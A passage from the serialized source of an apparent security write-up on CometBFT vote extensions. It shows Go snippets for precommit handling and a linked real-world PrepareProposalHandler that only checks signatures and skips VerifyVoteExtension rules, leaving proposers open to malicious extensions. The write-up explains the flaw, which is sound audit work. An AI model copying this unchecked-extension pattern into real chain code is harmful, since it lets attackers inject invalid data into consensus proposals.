cs",{"type":26,"tag":217,"props":84380,"children":84381},{"style":7048},[84382],{"type":32,"value":180},{"type":26,"tag":217,"props":84384,"children":84385},{"style":7054},[84386],{"type":32,"value":84361},{"type":26,"tag":217,"props":84388,"children":84389},{"style":7149},[84390],{"type":32,"value":38514},{"type":26,"tag":217,"props":84392,"children":84393},{"style":7054},[84394],{"type":32,"value":84352},{"type":26,"tag":217,"props":84396,"children":84397},{"style":7048},[84398],{"type":32,"value":180},{"type":26,"tag":217,"props":84400,"children":84401},{"style":7054},[84402],{"type":32,"value":84403},"Type",{"type":26,"tag":217,"props":84405,"children":84406},{"style":7149},[84407],{"type":32,"value":11680},{"type":26,"tag":217,"props":84409,"children":84410},{"style":7054},[84411],{"type":32,"value":79049},{"type":26,"tag":217,"props":84413,"children":84414},{"style":7048},[84415],{"type":32,"value":180},{"type":26,"tag":217,"props":84417,"children":84418},{"style":7054},[84419],{"type":32,"value":84420},"PrecommitType",{"type":26,"tag":217,"props":84422,"children":84423},{"style":7048},[84424],{"type":32,"value":8064},{"type":26,"tag":217,"props":84426,"children":84427},{"class":7028,"line":7389},[84428],{"type":26,"tag":217,"props":84429,"children":84430},{"style":7149},[84431],{"type":32,"value":76369},{"type":26,"tag":217,"props":84433,"children":84434},{"class":7028,"line":7406},[84435],{"type":26,"tag":217,"props":84436,"children":84437},{"style":7033},[84438],{"type":32,"value":84439},"        // Late precommits are not checked by VerifyVoteExtension\n",{"type":26,"tag":217,"props":84441,"children":84442},{"class":7028,"line":7439},[84443,84448,84452,84456,84460,84464,84468,84473,84477,84482,84486,84490],{"type":26,"tag":217,"props":84444,"children":84445},{"style":7054},[84446],{"type":32,"value":84447},"        added",{"type":26,"tag":217,"props":84449,"children":84450},{"style":7048},[84451],{"type":32,"value":7599},{"type":26,"tag":217,"props":84453,"children":84454},{"style":7054},[84455],{"type":32,"value":8675},{"type":26,"tag":217,"props":84457,"children":84458},{"style":7149},[84459],{"type":32,"value":8993},{"type":26,"tag":217,"props":84461,"children":84462},{"style":7054},[84463],{"type":32,"value":84378},{"type":26,"tag":217,"props":84465,"children":84466},{"style":7048},[84467],{"type":32,"value":180},{"type":26,"tag":217,"props":84469,"children":84470},{"style":7054},[84471],{"type":32,"value":84472},"LastCommit",{"type":26,"tag":217,"props":84474,"children":84475},{"style":7048},[84476],{"type":32,"value":180},{"type":26,"tag":217,"props":84478,"children":84479},{"style":7064},[84480],{"type":32,"value":84481},"AddVote",{"type":26,"tag":217,"props":84483,"children":84484},{"style":7048},[84485],{"type":32,"value":1851},{"type":26,"tag":217,"props":84487,"children":84488},{"style":7054},[84489],{"type":32,"value":84241},{"type":26,"tag":217,"props":84491,"children":84492},{"style":7048},[84493],{"type":32,"value":10025},{"type":26,"tag":217,"props":84495,"children":84496},{"class":7028,"line":7487},[84497],{"type":26,"tag":217,"props":84498,"children":84499},{"style":7149},[84500],{"type":32,"value":76369},{"type":26,"tag":217,"props":84502,"children":84503},{"class":7028,"line":7524},[84504,84508,84513,84517],{"type":26,"tag":217,"props":84505,"children":84506},{"style":7042},[84507],{"type":32,"value":9737},{"type":26,"tag":217,"props":84509,"children":84510},{"style":7054},[84511],{"type":32,"value":84512}," added",{"type":26,"tag":217,"props":84514,"children":84515},{"style":7048},[84516],{"type":32,"value":7599},{"type":26,"tag":217,"props":84518,"children":84519},{"style":7054},[84520],{"type":32,"value":84521},"err\n",{"type":26,"tag":217,"props":84523,"children":84524},{"class":7028,"line":7553},[84525],{"type":26,"tag":217,"props":84526,"children":84527},{"style":7048},[84528],{"type":32,"value":9754},{"type":26,"tag":217,"props":84530,"children":84531},{"class":7028,"line":7570},[84532,84537,84541,84545,84549,84554,84558,84563,84567,84572,84576,84581,84585,84589,84593,84597],{"type":26,"tag":217,"props":84533,"children":84534},{"style":7054},[84535],{"type":32,"value":84536},"    extEnabled",{"type":26,"tag":217,"props":84538,"children":84539},{"style":7149},[84540],{"type":32,"value":77267},{"type":26,"tag":217,"props":84542,"children":84543},{"style":7054},[84544],{"type":32,"value":84378},{"type":26,"tag":217,"props":84546,"children":84547},{"style":7048},[84548],{"type":32,"value":180},{"type":26,"tag":217,"props":84550,"children":84551},{"style":7054},[84552],{"type":32,"value":84553},"state",{"type":26,"tag":217,"props":84555,"children":84556},{"style":7048},[84557],{"type":32,"value":180},{"type":26,"tag":217,"props":84559,"children":84560},{"style":7054},[84561],{"type":32,"value":84562},"ConsensusParams",{"type":26,"tag":217,"props":84564,"children":84565},{"style":7048},[84566],{"type":32,"value":180},{"type":26,"tag":217,"props":84568,"children":84569},{"style":7054},[84570],{"type":32,"value":84571},"Feature",{"type":26,"tag":217,"props":84573,"children":84574},{"style":7048},[84575],{"type":32,"value":180},{"type":26,"tag":217,"props":84577,"children":84578},{"style":7064},[84579],{"type":32,"value":84580},"VoteExtensionsEnabled",{"type":26,"tag":217,"props":84582,"children":84583},{"style":7048},[84584],{"type":32,"value":1851},{"type":26,"tag":217,"props":84586,"children":84587},{"style":7054},[84588],{"type":32,"value":84241},{"type":26,"tag":217,"props":84590,"children":84591},{"style":7048},[84592],{"type":32,"value":180},{"type":26,"tag":217,"props":84594,"children":84595},{"style":7054},[84596],{"type":32,"value":84361},{"type":26,"tag":217,"props":84598,"children":84599},{"style":7048},[84600],{"type":32,"value":10025},{"type":26,"tag":217,"props":84602,"children":84603},{"class":7028,"line":7621},[84604,84608,84613],{"type":26,"tag":217,"props":84605,"children":84606},{"style":7042},[84607],{"type":32,"value":9710},{"type":26,"tag":217,"props":84609,"children":84610},{"style":7054},[84611],{"type":32,"value":84612}," extEnabled",{"type":26,"tag":217,"props":84614,"children":84615},{"style":7048},[84616],{"type":32,"value":8064},{"type":26,"tag":217,"props":84618,"children":84619},{"class":7028,"line":7672},[84620],{"type":26,"tag":217,"props":84621,"children":84622},{"style":7149},[84623],{"type":32,"value":76369},{"type":26,"tag":217,"props":84625,"children":84626},{"class":7028,"line":7681},[84627,84631,84635,84639,84643,84647,84651,84655,84659,84663,84667,84671,84675,84680,84684,84689,84693],{"type":26,"tag":217,"props":84628,"children":84629},{"style":7042},[84630],{"type":32,"value":12497},{"type":26,"tag":217,"props":84632,"children":84633},{"style":7054},[84634],{"type":32,"value":84352},{"type":26,"tag":217,"props":84636,"children":84637},{"style":7048},[84638],{"type":32,"value":180},{"type":26,"tag":217,"props":84640,"children":84641},{"style":7054},[84642],{"type":32,"value":84403},{"type":26,"tag":217,"props":84644,"children":84645},{"style":7149},[84646],{"type":32,"value":11680},{"type":26,"tag":217,"props":84648,"children":84649},{"style":7054},[84650],{"type":32,"value":79049},{"type":26,"tag":217,"props":84652,"children":84653},{"style":7048},[84654],{"type":32,"value":180},{"type":26,"tag":217,"props":84656,"children":84657},{"style":7054},[84658],{"type":32,"value":84420},{"type":26,"tag":217,"props":84660,"children":84661},{"style":7149},[84662],{"type":32,"value":38514},{"type":26,"tag":217,"props":84664,"children":84665},{"style":7149},[84666],{"type":32,"value":37846},{"type":26,"tag":217,"props":84668,"children":84669},{"style":7054},[84670],{"type":32,"value":84241},{"type":26,"tag":217,"props":84672,"children":84673},{"style":7048},[84674],{"type":32,"value":180},{"type":26,"tag":217,"props":84676,"children":84677},{"style":7054},[84678],{"type":32,"value":84679},"BlockID",{"type":26,"tag":217,"props":84681,"children":84682},{"style":7048},[84683],{"type":32,"value":180},{"type":26,"tag":217,"props":84685,"children":84686},{"style":7064},[84687],{"type":32,"value":84688},"IsNil",{"type":26,"tag":217,"props":84690,"children":84691},{"style":7048},[84692],{"type":32,"value":61808},{"type":26,"tag":217,"props":84694,"children":84695},{"style":7149},[84696],{"type":32,"value":68034},{"type":26,"tag":217,"props":84698,"children":84699},{"class":7028,"line":7754},[84700,84705,84709,84713,84717,84721,84725,84729,84734,84738,84743,84748],{"type":26,"tag":217,"props":84701,"children":84702},{"style":7149},[84703],{"type":32,"value":84704},"            !",{"type":26,"tag":217,"props":84706,"children":84707},{"style":7054},[84708],{"type":32,"value":59558},{"type":26,"tag":217,"props":84710,"children":84711},{"style":7048},[84712],{"type":32,"value":180},{"type":26,"tag":217,"props":84714,"children":84715},{"style":7064},[84716],{"type":32,"value":83177},{"type":26,"tag":217,"props":84718,"children":84719},{"style":7048},[84720],{"type":32,"value":1851},{"type":26,"tag":217,"props":84722,"children":84723},{"style":7054},[84724],{"type":32,"value":84241},{"type":26,"tag":217,"props":84726,"children":84727},{"style":7048},[84728],{"type":32,"value":180},{"type":26,"tag":217,"props":84730,"children":84731},{"style":7054},[84732],{"type":32,"value":84733},"ValidatorAddress",{"type":26,"tag":217,"props":84735,"children":84736},{"style":7048},[84737],{"type":32,"value":7599},{"type":26,"tag":217,"props":84739,"children":84740},{"style":7054},[84741],{"type":32,"value":84742},"myAddr",{"type":26,"tag":217,"props":84744,"children":84745},{"style":7048},[84746],{"type":32,"value":84747},") { ",{"type":26,"tag":217,"props":84749,"children":84750},{"style":7033},[84751],{"type":32,"value":84752},"// Skip the VerifyVoteExtension call if the vote was issued by this validator.\n",{"type":26,"tag":217,"props":84754,"children":84755},{"class":7028,"line":7784},[84756],{"type":26,"tag":217,"props":84757,"children":84758},{"style":7149},[84759],{"type":32,"value":83398},{"type":26,"tag":217,"props":84761,"children":84762},{"class":7028,"line":7802},[84763,84767,84771,84775,84779,84784,84788,84792,84796,84801,84805,84810,84814,84818],{"type":26,"tag":217,"props":84764,"children":84765},{"style":7054},[84766],{"type":32,"value":83215},{"type":26,"tag":217,"props":84768,"children":84769},{"style":7149},[84770],{"type":32,"value":77267},{"type":26,"tag":217,"props":84772,"children":84773},{"style":7054},[84774],{"type":32,"value":84378},{"type":26,"tag":217,"props":84776,"children":84777},{"style":7048},[84778],{"type":32,"value":180},{"type":26,"tag":217,"props":84780,"children":84781},{"style":7054},[84782],{"type":32,"value":84783},"blockExec",{"type":26,"tag":217,"props":84785,"children":84786},{"style":7048},[84787],{"type":32,"value":180},{"type":26,"tag":217,"props":84789,"children":84790},{"style":7064},[84791],{"type":32,"value":84046},{"type":26,"tag":217,"props":84793,"children":84794},{"style":7048},[84795],{"type":32,"value":1851},{"type":26,"tag":217,"props":84797,"children":84798},{"style":7054},[84799],{"type":32,"value":84800},"context",{"type":26,"tag":217,"props":84802,"children":84803},{"style":7048},[84804],{"type":32,"value":180},{"type":26,"tag":217,"props":84806,"children":84807},{"style":7064},[84808],{"type":32,"value":84809},"TODO",{"type":26,"tag":217,"props":84811,"children":84812},{"style":7048},[84813],{"type":32,"value":59809},{"type":26,"tag":217,"props":84815,"children":84816},{"style":7054},[84817],{"type":32,"value":84241},{"type":26,"tag":217,"props":84819,"children":84820},{"style":7048},[84821],{"type":32,"value":10025},{"type":26,"tag":217,"props":84823,"children":84824},{"class":7028,"line":7811},[84825],{"type":26,"tag":217,"props":84826,"children":84827},{"style":7149},[84828],{"type":32,"value":83398},{"type":26,"tag":217,"props":84830,"children":84831},{"class":7028,"line":7820},[84832],{"type":26,"tag":217,"props":84833,"children":84834},{"style":7048},[84835],{"type":32,"value":8722},{"type":26,"tag":217,"props":84837,"children":84838},{"class":7028,"line":7844},[84839,84843,84847,84851],{"type":26,"tag":217,"props":84840,"children":84841},{"style":7048},[84842],{"type":32,"value":40847},{"type":26,"tag":217,"props":84844,"children":84845},{"style":7042},[84846],{"type":32,"value":40852},{"type":26,"tag":217,"props":84848,"children":84849},{"style":7042},[84850],{"type":32,"value":60711},{"type":26,"tag":217,"props":84852,"children":84853},{"style":7048},[84854],{"type":32,"value":8064},{"type":26,"tag":217,"props":84856,"children":84857},{"class":7028,"line":7910},[84858],{"type":26,"tag":217,"props":84859,"children":84860},{"style":7149},[84861],{"type":32,"value":76369},{"type":26,"tag":217,"props":84863,"children":84864},{"class":7028,"line":7954},[84865],{"type":26,"tag":217,"props":84866,"children":84867},{"style":7048},[84868],{"type":32,"value":9754},{"type":26,"tag":217,"props":84870,"children":84871},{"class":7028,"line":7985},[84872],{"type":26,"tag":217,"props":84873,"children":84874},{"style":7149},[84875],{"type":32,"value":75433},{"type":26,"tag":217,"props":84877,"children":84878},{"class":7028,"line":8027},[84879],{"type":26,"tag":217,"props":84880,"children":84881},{"style":7048},[84882],{"type":32,"value":7184},{"type":26,"tag":39,"props":84884,"children":84885},{},[84886],{"type":32,"value":84887},"If developers are not aware of the subtle details regarding vote extension handling in CometBTF, it is quite easy to overlook implementing protections against these attacks.",{"type":26,"tag":607,"props":84889,"children":84891},{"id":84890},"real-world-examples-4",[84892],{"type":32,"value":77538},{"type":26,"tag":39,"props":84894,"children":84895},{},[84896,84898,84903,84905,84911,84913,84919],{"type":32,"value":84897},"An example of the bug we just described is shown here. ",{"type":26,"tag":83,"props":84899,"children":84901},{"className":84900},[],[84902],{"type":32,"value":84025},{"type":32,"value":84904}," only checks that each vote is properly signed by a validator in ",{"type":26,"tag":83,"props":84906,"children":84908},{"className":84907},[],[84909],{"type":32,"value":84910},"ValidateVoteExtension",{"type":32,"value":84912}," but does not verify it against the rules in ",{"type":26,"tag":83,"props":84914,"children":84916},{"className":84915},[],[84917],{"type":32,"value":84918},"VerifyVoteExtention.",{"type":32,"value":84920}," Therefore leaving the leader vulnerable to accepting malicious vote extensions in their proposals.",{"type":26,"tag":39,"props":84922,"children":84923},{},[84924],{"type":26,"tag":163,"props":84925,"children":84928},{"href":84926,"rel":84927},"https://github.com/sedaprotocol/seda-chain/blob/66c1b593fa81c7d443ab5fa82757b45e68597f49/app/abci/handlers.go#L180",[167],[84929],{"type":32,"value":77588},{"type":26,"tag":207,"props":84931,"children":84933},{"code":84932,"language":77016,"meta":8,"className":77017,"style":8},"func (h *Handlers) PrepareProposalHandler() sdk.PrepareProposalHandler {\n    return func(ctx sdk.Context, req *abcitypes.RequestPrepareProposal) (*abcitypes.ResponsePrepareProposal, error) {\n        ...\n        var injection []byte\n        if req.Height > ctx.ConsensusParams().Abci.VoteExtensionsEnableHeight && collectSigs {\n            //Fails to verify vote extensions with VerifyVoteExtension rules\n            err := baseapp.ValidateVoteExtensions(ctx, h.stakingKeeper, req.Height, ctx.ChainID(), req.LocalLastCommit)\n            if err != nil {\n                return nil, err\n            }\n            injection, err = json.Marshal(req.LocalLastCommit)\n            if err != nil {\n                h.logger.Error(\"failed to marshal extended votes\", \"err\", err)\n                return nil, err\n            }\n            ...\n        }\n        defaultRes, err := h.defaultPrepareProposal(ctx, req)\n        ...\n        proposalTxs := defaultRes.Txs\n        if injection != nil {\n            proposalTxs = append([][]byte{injection}, proposalTxs...)\n            h.logger.Debug(\"injected local last commit\", \"height\", req.Height)\n        }\n        return &abcitypes.ResponsePrepareProposal{\n            Txs: proposalTxs,\n        }, nil\n    }\n}\n",[84934],{"type":26,"tag":83,"props":84935,"children":84936},{"__ignoreMap":8},[84937,84991,85082,85089,85110,85177,85185,85289,85312,85331,85338,85392,85415,85470,85489,85496,85503,85510,85564,85571,85597,85620,85672,85735,85742,85769,85789,85801,85808],{"type":26,"tag":217,"props":84938,"children":84939},{"class":7028,"line":7029},[84940,84944,84948,84953,84957,84962,84966,84971,84975,84979,84983,84987],{"type":26,"tag":217,"props":84941,"children":84942},{"style":7154},[84943],{"type":32,"value":26409},{"type":26,"tag":217,"props":84945,"children":84946},{"style":7048},[84947],{"type":32,"value":7051},{"type":26,"tag":217,"props":84949,"children":84950},{"style":7054},[84951],{"type":32,"value":84952},"h ",{"type":26,"tag":217,"props":84954,"children":84955},{"style":7149},[84956],{"type":32,"value":10006},{"type":26,"tag":217,"props":84958,"children":84959},{"style":7119},[84960],{"type":32,"value":84961},"Handlers",{"type":26,"tag":217,"props":84963,"children":84964},{"style":7048},[84965],{"type":32,"value":8380},{"type":26,"tag":217,"props":84967,"children":84968},{"style":7064},[84969],{"type":32,"value":84970},"PrepareProposalHandler",{"type":26,"tag":217,"props":84972,"children":84973},{"style":7048},[84974],{"type":32,"value":61808},{"type":26,"tag":217,"props":84976,"children":84977},{"style":7119},[84978],{"type":32,"value":79608},{"type":26,"tag":217,"props":84980,"children":84981},{"style":7048},[84982],{"type":32,"value":180},{"type":26,"tag":217,"props":84984,"children":84985},{"style":7119},[84986],{"type":32,"value":84970},{"type":26,"tag":217,"props":84988,"children":84989},{"style":7048},[84990],{"type":32,"value":8064},{"type":26,"tag":217,"props":84992,"children":84993},{"class":7028,"line":6770},[84994,84998,85002,85006,85010,85014,85018,85022,85026,85031,85035,85040,85044,85049,85053,85057,85061,85065,85070,85074,85078],{"type":26,"tag":217,"props":84995,"children":84996},{"style":7042},[84997],{"type":32,"value":7171},{"type":26,"tag":217,"props":84999,"children":85000},{"style":7154},[85001],{"type":32,"value":26350},{"type":26,"tag":217,"props":85003,"children":85004},{"style":7048},[85005],{"type":32,"value":1851},{"type":26,"tag":217,"props":85007,"children":85008},{"style":7054},[85009],{"type":32,"value":79895},{"type":26,"tag":217,"props":85011,"children":85012},{"style":7119},[85013],{"type":32,"value":79518},{"type":26,"tag":217,"props":85015,"children":85016},{"style":7048},[85017],{"type":32,"value":180},{"type":26,"tag":217,"props":85019,"children":85020},{"style":7119},[85021],{"type":32,"value":77200},{"type":26,"tag":217,"props":85023,"children":85024},{"style":7048},[85025],{"type":32,"value":7599},{"type":26,"tag":217,"props":85027,"children":85028},{"style":7054},[85029],{"type":32,"value":85030},"req",{"type":26,"tag":217,"props":85032,"children":85033},{"style":7149},[85034],{"type":32,"value":9690},{"type":26,"tag":217,"props":85036,"children":85037},{"style":7119},[85038],{"type":32,"value":85039},"abcitypes",{"type":26,"tag":217,"props":85041,"children":85042},{"style":7048},[85043],{"type":32,"value":180},{"type":26,"tag":217,"props":85045,"children":85046},{"style":7119},[85047],{"type":32,"value":85048},"RequestPrepareProposal",{"type":26,"tag":217,"props":85050,"children":85051},{"style":7048},[85052],{"type":32,"value":77233},{"type":26,"tag":217,"props":85054,"children":85055},{"style":7149},[85056],{"type":32,"value":10006},{"type":26,"tag":217,"props":85058,"children":85059},{"style":7119},[85060],{"type":32,"value":85039},{"type":26,"tag":217,"props":85062,"children":85063},{"style":7048},[85064],{"type":32,"value":180},{"type":26,"tag":217,"props":85066,"children":85067},{"style":7119},[85068],{"type":32,"value":85069},"ResponsePrepareProposal",{"type":26,"tag":217,"props":85071,"children":85072},{"style":7048},[85073],{"type":32,"value":7599},{"type":26,"tag":217,"props":85075,"children":85076},{"style":7119},[85077],{"type":32,"value":7747},{"type":26,"tag":217,"props":85079,"children":85080},{"style":7048},[85081],{"type":32,"value":7618},{"type":26,"tag":217,"props":85083,"children":85084},{"class":7028,"line":6779},[85085],{"type":26,"tag":217,"props":85086,"children":85087},{"style":7149},[85088],{"type":32,"value":76369},{"type":26,"tag":217,"props":85090,"children":85091},{"class":7028,"line":7140},[85092,85096,85101,85105],{"type":26,"tag":217,"props":85093,"children":85094},{"style":7154},[85095],{"type":32,"value":81000},{"type":26,"tag":217,"props":85097,"children":85098},{"style":7054},[85099],{"type":32,"value":85100}," injection",{"type":26,"tag":217,"props":85102,"children":85103},{"style":7048},[85104],{"type":32,"value":77080},{"type":26,"tag":217,"props":85106,"children":85107},{"style":7119},[85108],{"type":32,"value":85109},"byte\n",{"type":26,"tag":217,"props":85111,"children":85112},{"class":7028,"line":7165},[85113,85117,85122,85126,85130,85134,85138,85142,85146,85150,85155,85159,85164,85168,85173],{"type":26,"tag":217,"props":85114,"children":85115},{"style":7042},[85116],{"type":32,"value":12497},{"type":26,"tag":217,"props":85118,"children":85119},{"style":7054},[85120],{"type":32,"value":85121}," req",{"type":26,"tag":217,"props":85123,"children":85124},{"style":7048},[85125],{"type":32,"value":180},{"type":26,"tag":217,"props":85127,"children":85128},{"style":7054},[85129],{"type":32,"value":84361},{"type":26,"tag":217,"props":85131,"children":85132},{"style":7149},[85133],{"type":32,"value":66933},{"type":26,"tag":217,"props":85135,"children":85136},{"style":7054},[85137],{"type":32,"value":79708},{"type":26,"tag":217,"props":85139,"children":85140},{"style":7048},[85141],{"type":32,"value":180},{"type":26,"tag":217,"props":85143,"children":85144},{"style":7064},[85145],{"type":32,"value":84562},{"type":26,"tag":217,"props":85147,"children":85148},{"style":7048},[85149],{"type":32,"value":8312},{"type":26,"tag":217,"props":85151,"children":85152},{"style":7054},[85153],{"type":32,"value":85154},"Abci",{"type":26,"tag":217,"props":85156,"children":85157},{"style":7048},[85158],{"type":32,"value":180},{"type":26,"tag":217,"props":85160,"children":85161},{"style":7054},[85162],{"type":32,"value":85163},"VoteExtensionsEnableHeight",{"type":26,"tag":217,"props":85165,"children":85166},{"style":7149},[85167],{"type":32,"value":38514},{"type":26,"tag":217,"props":85169,"children":85170},{"style":7054},[85171],{"type":32,"value":85172}," collectSigs",{"type":26,"tag":217,"props":85174,"children":85175},{"style":7048},[85176],{"type":32,"value":8064},{"type":26,"tag":217,"props":85178,"children":85179},{"class":7028,"line":7178},[85180],{"type":26,"tag":217,"props":85181,"children":85182},{"style":7033},[85183],{"type":32,"value":85184},"            //Fails to verify vote extensions with VerifyVoteExtension rules\n",{"type":26,"tag":217,"props":85186,"children":85187},{"class":7028,"line":7389},[85188,85192,85196,85201,85205,85210,85214,85218,85222,85226,85230,85235,85239,85243,85247,85251,85255,85259,85263,85268,85272,85276,85280,85285],{"type":26,"tag":217,"props":85189,"children":85190},{"style":7054},[85191],{"type":32,"value":83215},{"type":26,"tag":217,"props":85193,"children":85194},{"style":7149},[85195],{"type":32,"value":77267},{"type":26,"tag":217,"props":85197,"children":85198},{"style":7054},[85199],{"type":32,"value":85200}," baseapp",{"type":26,"tag":217,"props":85202,"children":85203},{"style":7048},[85204],{"type":32,"value":180},{"type":26,"tag":217,"props":85206,"children":85207},{"style":7064},[85208],{"type":32,"value":85209},"ValidateVoteExtensions",{"type":26,"tag":217,"props":85211,"children":85212},{"style":7048},[85213],{"type":32,"value":1851},{"type":26,"tag":217,"props":85215,"children":85216},{"style":7054},[85217],{"type":32,"value":79895},{"type":26,"tag":217,"props":85219,"children":85220},{"style":7048},[85221],{"type":32,"value":7599},{"type":26,"tag":217,"props":85223,"children":85224},{"style":7054},[85225],{"type":32,"value":2612},{"type":26,"tag":217,"props":85227,"children":85228},{"style":7048},[85229],{"type":32,"value":180},{"type":26,"tag":217,"props":85231,"children":85232},{"style":7054},[85233],{"type":32,"value":85234},"stakingKeeper",{"type":26,"tag":217,"props":85236,"children":85237},{"style":7048},[85238],{"type":32,"value":7599},{"type":26,"tag":217,"props":85240,"children":85241},{"style":7054},[85242],{"type":32,"value":85030},{"type":26,"tag":217,"props":85244,"children":85245},{"style":7048},[85246],{"type":32,"value":180},{"type":26,"tag":217,"props":85248,"children":85249},{"style":7054},[85250],{"type":32,"value":84361},{"type":26,"tag":217,"props":85252,"children":85253},{"style":7048},[85254],{"type":32,"value":7599},{"type":26,"tag":217,"props":85256,"children":85257},{"style":7054},[85258],{"type":32,"value":79895},{"type":26,"tag":217,"props":85260,"children":85261},{"style":7048},[85262],{"type":32,"value":180},{"type":26,"tag":217,"props":85264,"children":85265},{"style":7064},[85266],{"type":32,"value":85267},"ChainID",{"type":26,"tag":217,"props":85269,"children":85270},{"style":7048},[85271],{"type":32,"value":59809},{"type":26,"tag":217,"props":85273,"children":85274},{"style":7054},[85275],{"type":32,"value":85030},{"type":26,"tag":217,"props":85277,"children":85278},{"style":7048},[85279],{"type":32,"value":180},{"type":26,"tag":217,"props":85281,"children":85282},{"style":7054},[85283],{"type":32,"value":85284},"LocalLastCommit",{"type":26,"tag":217,"props":85286,"children":85287},{"style":7048},[85288],{"type":32,"value":10025},{"type":26,"tag":217,"props":85290,"children":85291},{"class":7028,"line":7406},[85292,85296,85300,85304,85308],{"type":26,"tag":217,"props":85293,"children":85294},{"style":7042},[85295],{"type":32,"value":59922},{"type":26,"tag":217,"props":85297,"children":85298},{"style":7054},[85299],{"type":32,"value":82790},{"type":26,"tag":217,"props":85301,"children":85302},{"style":7149},[85303],{"type":32,"value":66974},{"type":26,"tag":217,"props":85305,"children":85306},{"style":7154},[85307],{"type":32,"value":82799},{"type":26,"tag":217,"props":85309,"children":85310},{"style":7048},[85311],{"type":32,"value":8064},{"type":26,"tag":217,"props":85313,"children":85314},{"class":7028,"line":7439},[85315,85319,85323,85327],{"type":26,"tag":217,"props":85316,"children":85317},{"style":7042},[85318],{"type":32,"value":81520},{"type":26,"tag":217,"props":85320,"children":85321},{"style":7154},[85322],{"type":32,"value":82799},{"type":26,"tag":217,"props":85324,"children":85325},{"style":7048},[85326],{"type":32,"value":7599},{"type":26,"tag":217,"props":85328,"children":85329},{"style":7054},[85330],{"type":32,"value":84521},{"type":26,"tag":217,"props":85332,"children":85333},{"class":7028,"line":7487},[85334],{"type":26,"tag":217,"props":85335,"children":85336},{"style":7048},[85337],{"type":32,"value":36205},{"type":26,"tag":217,"props":85339,"children":85340},{"class":7028,"line":7524},[85341,85346,85350,85354,85358,85363,85367,85372,85376,85380,85384,85388],{"type":26,"tag":217,"props":85342,"children":85343},{"style":7054},[85344],{"type":32,"value":85345},"            injection",{"type":26,"tag":217,"props":85347,"children":85348},{"style":7048},[85349],{"type":32,"value":7599},{"type":26,"tag":217,"props":85351,"children":85352},{"style":7054},[85353],{"type":32,"value":8675},{"type":26,"tag":217,"props":85355,"children":85356},{"style":7149},[85357],{"type":32,"value":8993},{"type":26,"tag":217,"props":85359,"children":85360},{"style":7054},[85361],{"type":32,"value":85362}," json",{"type":26,"tag":217,"props":85364,"children":85365},{"style":7048},[85366],{"type":32,"value":180},{"type":26,"tag":217,"props":85368,"children":85369},{"style":7064},[85370],{"type":32,"value":85371},"Marshal",{"type":26,"tag":217,"props":85373,"children":85374},{"style":7048},[85375],{"type":32,"value":1851},{"type":26,"tag":217,"props":85377,"children":85378},{"style":7054},[85379],{"type":32,"value":85030},{"type":26,"tag":217,"props":85381,"children":85382},{"style":7048},[85383],{"type":32,"value":180},{"type":26,"tag":217,"props":85385,"children":85386},{"style":7054},[85387],{"type":32,"value":85284},{"type":26,"tag":217,"props":85389,"children":85390},{"style":7048},[85391],{"type":32,"value":10025},{"type":26,"tag":217,"props":85393,"children":85394},{"class":7028,"line":7553},[85395,85399,85403,85407,85411],{"type":26,"tag":217,"props":85396,"children":85397},{"style":7042},[85398],{"type":32,"value":59922},{"type":26,"tag":217,"props":85400,"children":85401},{"style":7054},[85402],{"type":32,"value":82790},{"type":26,"tag":217,"props":85404,"children":85405},{"style":7149},[85406],{"type":32,"value":66974},{"type":26,"tag":217,"props":85408,"children":85409},{"style":7154},[85410],{"type":32,"value":82799},{"type":26,"tag":217,"props":85412,"children":85413},{"style":7048},[85414],{"type":32,"value":8064},{"type":26,"tag":217,"props":85416,"children":85417},{"class":7028,"line":7570},[85418,85423,85427,85432,85436,85440,85444,85449,85453,85458,85462,85466],{"type":26,"tag":217,"props":85419,"children":85420},{"style":7054},[85421],{"type":32,"value":85422},"                h",{"type":26,"tag":217,"props":85424,"children":85425},{"style":7048},[85426],{"type":32,"value":180},{"type":26,"tag":217,"props":85428,"children":85429},{"style":7054},[85430],{"type":32,"value":85431},"logger",{"type":26,"tag":217,"props":85433,"children":85434},{"style":7048},[85435],{"type":32,"value":180},{"type":26,"tag":217,"props":85437,"children":85438},{"style":7064},[85439],{"type":32,"value":56972},{"type":26,"tag":217,"props":85441,"children":85442},{"style":7048},[85443],{"type":32,"value":1851},{"type":26,"tag":217,"props":85445,"children":85446},{"style":7338},[85447],{"type":32,"value":85448},"\"failed to marshal extended votes\"",{"type":26,"tag":217,"props":85450,"children":85451},{"style":7048},[85452],{"type":32,"value":7599},{"type":26,"tag":217,"props":85454,"children":85455},{"style":7338},[85456],{"type":32,"value":85457},"\"err\"",{"type":26,"tag":217,"props":85459,"children":85460},{"style":7048},[85461],{"type":32,"value":7599},{"type":26,"tag":217,"props":85463,"children":85464},{"style":7054},[85465],{"type":32,"value":8675},{"type":26,"tag":217,"props":85467,"children":85468},{"style":7048},[85469],{"type":32,"value":10025},{"type":26,"tag":217,"props":85471,"children":85472},{"class":7028,"line":7621},[85473,85477,85481,85485],{"type":26,"tag":217,"props":85474,"children":85475},{"style":7042},[85476],{"type":32,"value":81520},{"type":26,"tag":217,"props":85478,"children":85479},{"style":7154},[85480],{"type":32,"value":82799},{"type":26,"tag":217,"props":85482,"children":85483},{"style":7048},[85484],{"type":32,"value":7599},{"type":26,"tag":217,"props":85486,"children":85487},{"style":7054},[85488],{"type":32,"value":84521},{"type":26,"tag":217,"props":85490,"children":85491},{"class":7028,"line":7672},[85492],{"type":26,"tag":217,"props":85493,"children":85494},{"style":7048},[85495],{"type":32,"value":36205},{"type":26,"tag":217,"props":85497,"children":85498},{"class":7028,"line":7681},[85499],{"type":26,"tag":217,"props":85500,"children":85501},{"style":7149},[85502],{"type":32,"value":83398},{"type":26,"tag":217,"props":85504,"children":85505},{"class":7028,"line":7754},[85506],{"type":26,"tag":217,"props":85507,"children":85508},{"style":7048},[85509],{"type":32,"value":8722},{"type":26,"tag":217,"props":85511,"children":85512},{"class":7028,"line":7784},[85513,85518,85522,85526,85530,85535,85539,85544,85548,85552,85556,85560],{"type":26,"tag":217,"props":85514,"children":85515},{"style":7054},[85516],{"type":32,"value":85517},"        defaultRes",{"type":26,"tag":217,"props":85519,"children":85520},{"style":7048},[85521],{"type":32,"value":7599},{"type":26,"tag":217,"props":85523,"children":85524},{"style":7054},[85525],{"type":32,"value":8675},{"type":26,"tag":217,"props":85527,"children":85528},{"style":7149},[85529],{"type":32,"value":77267},{"type":26,"tag":217,"props":85531,"children":85532},{"style":7054},[85533],{"type":32,"value":85534}," 